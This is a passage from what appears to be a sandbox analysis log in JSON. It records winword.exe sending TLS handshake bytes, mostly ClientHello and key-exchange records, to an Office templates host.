  457. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xedf\\x92\\x86\\x9c\\xb1\\x83\\x11\\x8f\\xd1\\xc4\\x9f\\xb8qkbzv\\x97\\x8e!h\\xc4m\\x95\\x17\\xa8j\\x8a\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  458. },
  459. {
  460. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed\\xe9\\x92y\\x102\\x14\\xfc\\xa6'\\xf9>~\\x96u\\xa4+\\xc4\\x83\\xa5\\x14@f\\xd8/\\xcb\\xec\\xac6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  461. },
  462. {
  463. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed\\xf4\\x90\\x81\\xe9q7\\x8dyc\\xcf\\xa7\\xfc^+\\x06d\\x10\\x9b\"i\\xf7w\\xb3x6\\x05\\x10\\x92\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  464. },
  465. {
  466. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed\\x18k#n\\x10\\xd5\\x0e~\\xd8&\\xcf\\xc59\\x0c$\\xd0=-\\x81\\xe8\\xa4\\xe3\\x0e\\xd4b?u\\x1f\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  467. },
  468. {
  469. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed\\xcd\\x00u\\x0b(~8;\\xb0a\\xfco\\xcb9\\x02\\x88\\xcf\\x8a\\x7f\\xc8\\xd4*\\xde\\xbc\\xc7z]\\xba\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  470. },
  471. {
  472. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed\\x91\\xee\\xc72\\x1c\\x1a\\xcc\\xd7\\x94x\\x82\\x1a\\xab\\xb2j\\x8e\\x13\\xbc\\xc6c\\xf9\\x0b\\x89\\xacf\\xfc\\xef\\xb7\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  473. },
  474. {
  475. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed;\\x84\\xe68n\rm\\x03\\x96\\x1a\\xd5\\x9amn\\x17c\\x88t\\x19\\x81\\x1c\\xe4\\\\x15\\x92\\xbd\\x00\\xba\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  476. },
  477. {
  478. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed\\xefp\\x90\\x1fj\\xe9{(\\xd1\\xdd\\xf1\\x97\\xfd\\xc0\\x80\\x8c\\xcco\\x18\\x06(\\x84$c\\xe9\\xe2\\xde~\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  479. },
  480. {
  481. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed\n\\xc2r\\x1d\\\\x08\\xd3y\\xb1\\xfcm(\\\\xb9\\xdc\\x1f\\xb9a\\xbe\\xf3k \\x8d\\xfc5\\x91\\xa3:\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  482. },
  483. {
  484. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed\\xa4r!\\x0e5\\x9c\\x91\\xa6\\x9a\\x9f\\x88\\x1f\\x88\\xeam\\xbe\\xfe\n!i\\x1a\\x1f\\xe3_\\x9db&k\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  485. },
  486. {
  487. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xedvu#'rj\\xff\\x97\\x04\\x00\\x99\\xfa\"\\x0c\\x97\\xb7\\xb6\\xedj\\xf8f0\\xcfk\\x9c+\\x10\\xd6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  488. },
  489. {
  490. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed\\xfa\\xa7\\xc1\\xcf\\xad%\\xb6\\xee*1\nts\\x0crd\\x1b\\xc4\\x95a\\x9a4@\\x8e^\\x8d\\x84\\xa5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  491. },
  492. {
  493. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed\\xe6\\xd9f\\x18\\xe1\\xc0m\\xf3\\x86h\\x18\\xc6\\x88\\xcc\\xbc\\x1d\\x0b\\xc1@\\x81\\xdc\\xffd\\x8d\\x1a,\\x16n\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  494. },
  495. {
  496. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed4u\\x0c_\\xc5\\x1a\\x80\\xa3>\\xc5\\x0c\\xe0\\x95\\x186\\xdf\\xf9\\xca\\xf1~\\x86:\\xc1[\\xbf\\x95\\xf9\\x9a\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  497. },
  498. {
  499. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed\\xd6\\xc2\\xec\\xcb\\x05!\\x0b\\xe0\\xda\\x82\\x1f\\x17\\xed;\rd?v\"\\xb3\\xea\\\\x15\\xd5<\\x0b\\x01\\xcc\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  500. },
  501. {
  502. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04m@\\xb4\\xf3\\xebsxf\\xa2),\\x04\\x7f\\xacu\\xd0#j\\xe3-\\xa2\\x00\\x19\\xa4\\x9f\\xfb_\\x9d\\x86g\\x03\\xb0\\x00\\x9e\\xdf\\x88\\x81\\xe4g3\\x1a7\\x08\\xd1z@e\\xfc\\x87w\\xd7\\xe2\\x80a_,\\xe8\\xde\\xfe|e\\x0b\\x0bj\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x83\\xc6\\xf9\\xe4\\\\xd8\\xf6w\\xc6;y\\xc8;\\xd1\\xc0\\xa5mop^\\xd1\\xa3'\\xd7\\xa4\\x17\\xef\\xd6\\xe9\\x0cj\r}\\x86 i\\xe5\\x10\\xfa\\xe6zh\\x03\\xe2\\xc4\\xd2(d"
  503. },
  504. {
  505. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04`\\xa4\\x1d+lu&dt3\\xb2\\x11\\xbd\\xc6\\xff\\xde.\\x19`6w\\xb2\\x99t\\xeb\\xda\\x1e\\xb7\\xe5\\ \\xbe;pk\\xb6f\\x8e\\x9e@[`5s\\x94\\xcd\\xe5\\x8fuk(\\xde\\xb8y\\x06\\x13\\x99\\x00`\\x8f\\xc5\\x07\\xf6{\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x19^<\\xb2\\x01\\xbez\\xf7\\xb0\\x8c\\x05/\\xe9\\xda\\xc4z\\x7f\\xea\\xdf\"\\xca\\x03za\\xd2\\xe53\\x87\r\\x19\\xc2\\x90\\x92{y\\x94\r\\xd2w\\xac*\\x0b\\x84\\xe6\\xb4\\x02]\\xa9"
  506. },
  507. {
  508. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x15kq<\\x8f\\x9aod\\x95\\xe2\\x9c}\\xa3_\\x18pj|>`\\x08\\xc3\\xb2\\xd4\\xe4\\xf0&j\\xfa\\x976\\xd5\\xf5.&\\xef\\xcf\\xf1\\x8f\\x9f\\x90\\xd3\\xba<-`\\xe7\\xb9\\x0fv\\xd1w\\xec\\x9e\\xcc\\x86'-\\xd4m\\x82e\r\\xe7\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe6\\xf5e\\x9au\\x0e\\x9f\\x11\\x00=\\xb5\\xd8e\\xbco\\x87\\xb8\\x14tn\\xc8\\xc4\\xd0\\x15\\xee\\xc0p\\x9f0\\x81\\x84\\xdba\\xf5 \\xc7\\x9c\\xe9\\x05\\xe0}f\\xc7\\xc2\\xa5\\x17b\\xd8"
  509. },
  510. {
  511. "http_request": "winword.exe_WSASend_\\xe6\\x02\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x9b\\xc2\\xefu=\\x87\\xbb&\\xd2\\x8fid\\x0cwti\\xdf\\x89\\x86\\xdf!\\xd3\\\\x8c\\xdb\\xb3\\x8bd\\x81\\xc1\\x12\\xa8`\\xaf\\xf1t?7\\xe0j\\xdc'\\x87\\xd0\\x08m)\\x98{\\xf8h<\\xc5\\xb3\re\\xf8\\xeb>\\xaeq\\x8eu\\x8c\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000t\\x86\\xa3s\\x12\\x04a\\xaal5\\xdb\\xaa\\xc8\\xdd\\x81\"\\xac\\x1a\\xfca\\xa4\\xa5\\xf2q\\x10ju\\xf3\\xfa\\xa0\\x1c\\x979\\xc7\\xd8\\xbf\\xc0\\xb7c*\\x1dp\\xa1u\\xb6\\x0c\\x16u"
  512. },
  513. {
  514. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x93p\\xdb\\xa8\\xb8\\xce\\x93a\\x86\\xb1k]\\x14\\x19wc\\x05h2l\\x94\\xdax\\xc1`\\xd2p:\\x0cz\\xb6{\\xd4\t\\xc2^f/\\xa9oy \\xf8;*\\x8ccg\\x8d\\xe4\\xa8\\x93\\xe4re\\xf7\\\\x84]\\x91\\xb5e(\\x90\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x86\\xd9\\x8ao\\xfa\\x12)x\\x15z\\x86\\x86\\x8eg\\xe7\\xe5a\\x87\\xcfa\\xb6\\x9d\\xde\\x02\\x15\\x1e\\xf7\\xfe\\x9a\\x9b\\xe2\\xf5j\\xfab\\xab\\xc9i\\xdd\\x04\\xc1\\xbb\\x90\\xbapg\\x0c\\x10"
  515. },
  516. {
  517. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc5\\xcd5\\x06\\xf3\\xa6\\xfd\\xd8\\xb7\\x19'\\x16\\xfbl\\x8d\n\\x97ma\\xc3\\x12\\xd4gc\\xe1\\xc0k\\x9d\\x83,h0\\x7f\\x0b\\xce\\x81\\xa4+3\\x1b\\x8c\\x90f\\xad*k\\xf7\\x92\\xdb\\x87\\xfd\\xce\\xab\\xf1\\xcbv;\\xcdba<e\\xd3\\xdd\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x82\\x10\\xf0\\x1c#$\r\\xdb\\x8c\\xce\\xd8*\\x0b6\\xd3\\x13\\xb6\\x12\\xd4\\xf2\\xb0\\xa0\\x8d\\xe280\\xd6>\\x18\\xbew\\xe4\\x7f\\xeb\\xc4\\xc4e\\x7f\\xe4/|\\x83e\\xa9\\xc0\\xb9u\\xc1"
  518. },
  519. {
  520. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x93~\\x123\"$\\x96\\xb3a\\xf2\\xd6\\x03\\xd5\\xaff\\x0c\\x93\\xd0\\xd7\\xaa\\xf9-\"\\x90\\xc8\\xa2\\xbc\\xd15\\x03\\xbax3\"f\\x1cb\\xbc\\xacbm \\xe6\\x11y\\xfe\\xdd\\xf8\\xcd\\x93t\\xb8\\xa6\\xe6\\xe3x\\xad\\x06\\x90z'n\\x88\\xfa\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf3\\xcb\\x1c\\xd6\\x8d\\x07p\\x9ao\\xaa\\x99\\x03\\xe2\\xba]a7t%\\x9c\\xac\\x84\\xaa\\xb6\\xb6\\xb1\\xd5\\xa3\\x9f\\xd0\\x0bg\\xfc\\x9b\\xca\"\\x82\\xa8g\\x8d\\xcb\\xfd\\xd7\\x18\\xdd\\xd6jx"
  521. },
  522. {
  523. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04^?\\xf7%\\x1a\\xe8.9\\xf2v\\xbf!k7\\x02\\x84m\\xb2\\xea\\x93\\xcd\\xc3\\xbc\\xff\\xc8\\xf1\\x90xv\\xd2\\x1e:\\x80di\\xd6\\xe2\\x8b\\xc1\\x81\\x98\\x11h\\x039l\\x08@\\xefq\\xaag\\xe8\\x9c\\xaf\\xbc\\xda\\xe0\\x9c\\xdd\rrd&\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xccc\\x91\\xf1t\\xe7\\xfb\\x9cu3=7\\xa6f\\xdd\\x14\\x83\\x98\\xcfep04j\\x9dd\\xc4\\x81\\xe6\\xf3\\x97\\xd1&\\x11c\\xf72\\xa1m\\xef&\\xd3iw\\x85\\xe4f3"
  524. },
  525. {
  526. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb9\\xd1\\xc4\\x0b\\xfb\\xce\\x9d\\x9d\\xf9\\xe8\\xd2w\\x8c\\x10\\xba\\xe3hz\\xdf>g\\x06\\xc1\\xbb\\xf4ga\\xf5s\\x9d\\xa1p7\\xfe\\x9e/p@\\x07\\x8e\\xbb\\xc9#^w_\\xdf\\xa9\\xf0tk\\xe1\\x01g4\\xa7y:y]\\xad&\\xdb(\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1a\\xcb\n*/h\\xcf8\\x8e\\x17\\xab\\x97o\\x11h\\x92l \\xa6\\x99\\x8ey}\\x00\\x83\\x01\\xb0\\xbc\\x7f\"\\xf6\\xd6;h\\xd8\\xbe#\\xdc\\x1d\\xb7jw)d\\x94\\xb7r\\xde"
  527. },
  528. {
  529. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04s\\xf2\\x96\\x07r\\xbd\\xd0\\xce\\xc2\\xd7\\xe3\\xcd\\x1f\\xa6\\xb4\\xc1z\\xd21\\xbejoz\\x7f \\x15%\\xa5>\\x95c\\xee\\xc6\\x0f\\x95\\xacz\\xcf\\xd4\\xf7\\xa0\\x00:5\\x95\\xfd'\\xce\"\\x1c\\x01\\x95\\xd0ug\\x00\\x9f}\n\\xc2\\xde\\x1am\\xb2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0008\\xee \\xcc\\xd2y\\xc9\\x89\\x802\\x912\\x1f\\xbd\\x88e\\xee\\x86\\xe6g\\x10\\x9a]\\xd5\\x12\\xda\\xc2\\x99\\xa34\\xc2\\x05\\x92\\xb5\\xbeh\\xb0#\\x86\\xfd\\x98`\\x88'\\xfc&\\xe1\\x16"
  530. },
  531. {
  532. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04ub\\x99\\x01c\\xa7\\x97\\xc9\\x11\\xe3\"\\xfa\\xd0\\xe1\\xa6\n\\xff\\x90\\xca\\x95\\xbe\\xa4.\\x15\\xce\\xbd!.\\x86+\\xeag\"\\xb4!\\xddar\\xe7\\xd2\\x04y\\x14\\xab\\x82\\x9fx\\xc5\\xf6zo\\xec\\x82`g\"4\\xfe\\x04d\\x8c\\xec\\xc21\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf5\\xc2\\x92~\\xfc-\\x93\\x17!\\x0c\\xc8m\\xfb\\x94>\\xfe\\x98\r\\x19bku\\xb1\\xc1ty\\xf2\\xcc\\xff\\x99%w1\\xaa\\x9b\\xd2@\\x0b\\xad\\xaam\\x14\\x8e\\xfd\\xe5\\xcbfn"
  533. },
  534. {
  535. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\rn\\:\\x96-*\\xd3\r\\x07)\\x0c\\xfa\\\\xc4t\\x8f9\\x9alr\\xe7\\x9d\\xa9\\x80\\x9fzx;\\x19#[\\xda\\x03e]\\x05\\x8d)\\x01\\xfe\\xfe\\x87\\xef\\x92%u\\x0f\\xde\\xb8\\xf3\\xf5\\x1d8\\xf7z\\x03\\xef\\xd0x\\xa1\\xcef\\x1f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xdfq\\x87\\xa5\\xdb*\\xd6o\\xcb\\xaa\\x0f\\x0cfq\\xfc1\\xe16\\x95qn\\x01\\x00^\\x11[\\x9e\\x81yo\\x91v\\x10(\\x94\\x9f\\x7fnc\\x8d\\xc9a\\xa0\\xd7\\x80\\xf8\\x887"
  536. },
  537. {
  538. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04f4_x\\xffb8\\x03\\x92\\x90\\xa0\\xe67\\xa7\\x05d\\xe2p\\xfd\\xe2\\x14\\xfb\\xa2\\xf8\\xa9\\xae\\x86\\x1ah:\\x13=\\\\xde\\x99\\xfd7\\xacn\\xdb\\x8a\\xabu\\xdb\\xca`g\\x80<\\xcf\\xc4\\xf3vhf\\xfd\\xe6@\\x97z(\\xef\\xa4\\xb6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000if\\xe0\\x15\\xe27s\\xc2evxv\\xa7\\xbe\\xc9\\xd8\"\\xafn\\x92\\xd7\\xffel\\x85)\\xc2\\xeb\\x8e\\x81c\\xd9\\xc78\\xa9x\\x90+\\x817`\\x07\\x18\\xf0w\\xd0\\xd2{"
  539. },
  540. {
  541. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04~\\x95=\\xbb^,\\x9dm\\xa1d\\xea=q\\xe1n\\xe8\\xect\\x12\\x1e)e\\x90[\\xa2l\\x8a\\xaekq\\x97\\x16,\\x1e\\xa0\\x9c\\xb3u\\xa5$q\\xdc;/|\\x9d\\xf4\\x8d\\xa4\\xd8\\x1e\\xcb!\\xb7\\x19\\x95d.%\\x80\r\\xc9-y\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb1<\\x95\\\\xa0[f\\xa4\\xe6<*\\xb1\\xde2sr\\xb3r\\xbf\\xe6\\x18loj\\xa4fn\\xce\\xac\\xe0\\xc5\\xfc\\xbe\\xa0(`>\\xce\\x11\\xa7\\xc2\\xc8k\\xc1\\xe4\\x9d>i"
  542. },
  543. {
  544. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x8e\\x06^\\xdc\\xad\\x95\\x05\\xd6.nj\\xa2\\x0e\\x00l\\xfd\\x05\\xab\\xef\\x18\\xf9i\\x9c\\xae\\x03\\xc2)\\x94\noei\\x0e\\xb4\\xba\\xa0\\xcc\\xfahp\\xf6\\xb1a\\xdf\\xe4\\xfcs\\xd2\\x9cl\\xbao\\x85v\\xd1),!\\xc8\\xc5\\xdf^\\xb3\\x8a\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xdb\\xd7\\xa2u\\xd4\\xad\\xdd\\x8fp\\x9e\\xb0\\xa3=nqip\\xc8\\xc7\\xcf\\x0c\\xad\\x80e\\xc9i\\xaf\\x114{\\xf6ckc\\xf6\\xb7\\x90\\xb8\\xe6d\\xe2 \\x12\\xac\\xc6\\x06\\xa2\\x19"
  545. },
  546. {
  547. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xab\\x80(\\xd8\\x13\\xcd\\xb9\\x03\\xec1\\x99x|\\x99u\\x88\\xb0\\xf7\\xc3o\\xe3\\x90\\xd2\t]i\\x02\\x16\\x80.\\xd4`#\\x15\\xa1\\xc4\\xde\\xe2n\\x06\\x19];\\x88'`\\xef\\xb4\\xb7\\xf0\\xd8*78t'\\xa6\\xbf\\xe5\\x05\\xee\\x14_\\xd8\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x01\\x93\\xb3\\xbe\\xbeq\\xee(/@g<\\x7f\\x1c\\x8c~\\xcb\\xda\\xdaem\\x99\\xb4%\\xea)#\\xde\\x80n\\xb8\\xb6uf\\xa1/\\xc7c\\x94\\x9f\\xe3'\\x10ov_\\x91p"
  548. },
  549. {
  550. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xda_\\xcf0\\xdf\\xceh\\x82\\x0e\\x14\\x90\\xf6w7fl\\xa3\\xd7e\\xc8\\x02\\xe3\\xc1*\\x87/\\xe1/\\xdf\\x95\\x07z\\xf7`6qw?\\xbe{\\xfds\\xfe\\xb2\\xba?c\\xbf\\x15>\\xc4\\x96]\\xd7_\\x82\\x16>\\xeac\\xf9\\xfe\\x18\\xe5\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000;\\xd5\\xed{ld\\xe0\\xe2\\xbd\\xb3\\x14\\x04\\xb8!\\xb7mc\\x13]\\x1c\\x89y\\xd9c*w%9\r\"c\\x84`:8\\xc4\\xda_\\xbb\\xc5=\\x1b\\x80i\\xa97\\xb66"
  551. },
  552. {
  553. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd8s\\x0c\\xda\\x82\\x13\\xe29\\xab\\x0batq\\x7fa,\\x93\\xb7\r\\xb3\\xbch\"\\xdd_\\xa1\\x95\\x10f\\x1d!\\x1e\\x87\\x06\\!d\\xe7f\\x11\\x8b\\xce!\\xea\\xeer_\\xb5\\x01\\x90\\xa2\\xcdx\\xc4tp\\x86_:\\xdb\\xcd|\\x8b8\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000z\\xeb\ncj\\x96\\xfcg\\xad\\x94c[\\xaa\\x8f\\xe0\\x9a\\x02\\xffu/\\x1b0\\xf6.\\x18\n\\xa5f\\xc8\\xec\\xc3n\\xd8\\xa0\\xbc\\x9e\\x1a\\xdev\n\\x1di\\x02\\xd3\\xee\"\\x17\\x8b"
  554. },
  555. {
